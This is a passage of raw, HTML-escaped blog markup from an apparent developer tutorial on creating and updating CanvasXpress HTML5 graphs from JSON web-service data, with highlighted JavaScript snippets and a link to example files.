class=&quot;sc5&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;function&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;(&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;sc11&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;)&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;// Do even more stuff &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;}&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;}&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;or&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;scope&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;:&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;myScope&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;,&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;handler&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;:&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;mouseover&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;:&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;function&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;(&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;sc11&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;)&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;// Do something ...&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;},&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;:&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;function&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;(&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;sc11&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;)&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;// Do something else ... &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;}&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;}&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;}&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;Real world scenario&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;Intro&lt;/span&gt;&lt;br /&gt;&lt;a class=&quot;p2-attachmentHyperlink&quot; href=&quot;http://www.mediafire.com/download.php?727ded6kiltaak1&quot; target=&quot;_blank&quot; title=&quot;Examples&quot;&gt;Download examples&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;In  one of our applications, we had to create a graphic in HTML5 with data  received from a RESTful web service. In our case, we also created the  RESTful web service, so it was easy to us to just return a valid  canvasXpress structure as a JSON response.&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;I’m  not going to enter into the details of the web service since I want to  keep the article topic-specific, but I want to point out that we had 2  options for the web service.&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;1) Return only JSON with the data and create the structure for canvasxpress in the client (javascript)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;2) Return JSON with the data within a valid canvasxpress structure. &lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;I  ended up creating both implementations, because we didn’t have at the  time further details about mobile developments that would access the web  service.&lt;br class=&quot;kix-line-break&quot; /&gt;But for our first requirement, we  used the second option, as it was easier and less error prone for us to  create the valid structure in the backend.&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;The code&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;I’ve attached three examples, one with the graphic creation and two others with data update and add.&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Let’s see the important parts of the code.&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;This function creates the graphic. data is the JSON data and config is the JSON that has the config of the graphic.&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;function drawGraph(data, config) {&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;//Create the new canvas graphic.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;new CanvasXpress(&quot;graph&quot;, data, config);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;}&lt;br class=&quot;kix-line-break&quot; /&gt;By &amp;nbsp;calling this method with a valid data and a valid config, with created this graphic:&lt;/span&gt;&lt;img alt=&quot;&quot; height=&quot;306&quot; src=&quot;https://lh6.googleusercontent.com/7EHAcUYeXjpH6ENlrt7_JHFb992vu1wSFkx_H62iXiDCQBMrxjRbXYyK-46fX8_S4MFBFOW6vaPEZ_etiebgB6liQILUDflrHJZej7BRkuyhRfyutw80&quot; width=&quot;631&quot; /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;In order to update the graphic, first you must find the reference and then you pass to the update method the new JSON structure:&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 255); float: left; line-height: 1; white-space: pre;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;function&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;updateGraph&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;(&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;)&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;//get all canvasXpress references.&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;&amp;nbsp;for&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;sc10&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;var&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;=&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc4&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;&amp;lt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;CanvasXpress&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;references&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;++)&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;//If the reference match our target &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;     if&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;(&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;CanvasXpress&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;references&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;[&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;].&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;==&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc7&quot;&gt;&lt;span style=&quot;color: grey;&quot;&gt;&#39;graph&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;)&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&lt;span style=&quot;color: navy;&quot;&gt;&lt;i&gt;&lt;b&gt;        &lt;/b&gt;&lt;/i&gt;&lt;/span&gt;//update the graph&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;          var&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;=&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;CanvasXpress&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;references&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;[&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;];&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc11&quot;&gt;          c&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;updateData&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;(&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;);&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;draw&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;();&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;          }&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;        }&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;   }&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;If we press the update button, we ended up with an updated graphic:&lt;/span&gt;&lt;img alt=&quot;&quot; height=&quot;350&quot; src=&quot;https://lh3.googleusercontent.com/VMn6BWGqlZwIzHjBrZ-kNpWbsJlJdFHnr6mLNqq2EKIRg93XOPn_IAe33TmxTnqNUtzG3oUCe9ceIbluCaENYskOD5l-FVpZUt8MMty4aKmJTUE_FZHB&quot; width=&quot;643&quot; /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 11px; font-style: italic; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;If  you notes some delay in the examples, keep in mind that I’m using the  complete event of JQuery Ajax just to show you an example a little bit  more realistic, but if you want, just call the draw methods without the  ajax call.&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: 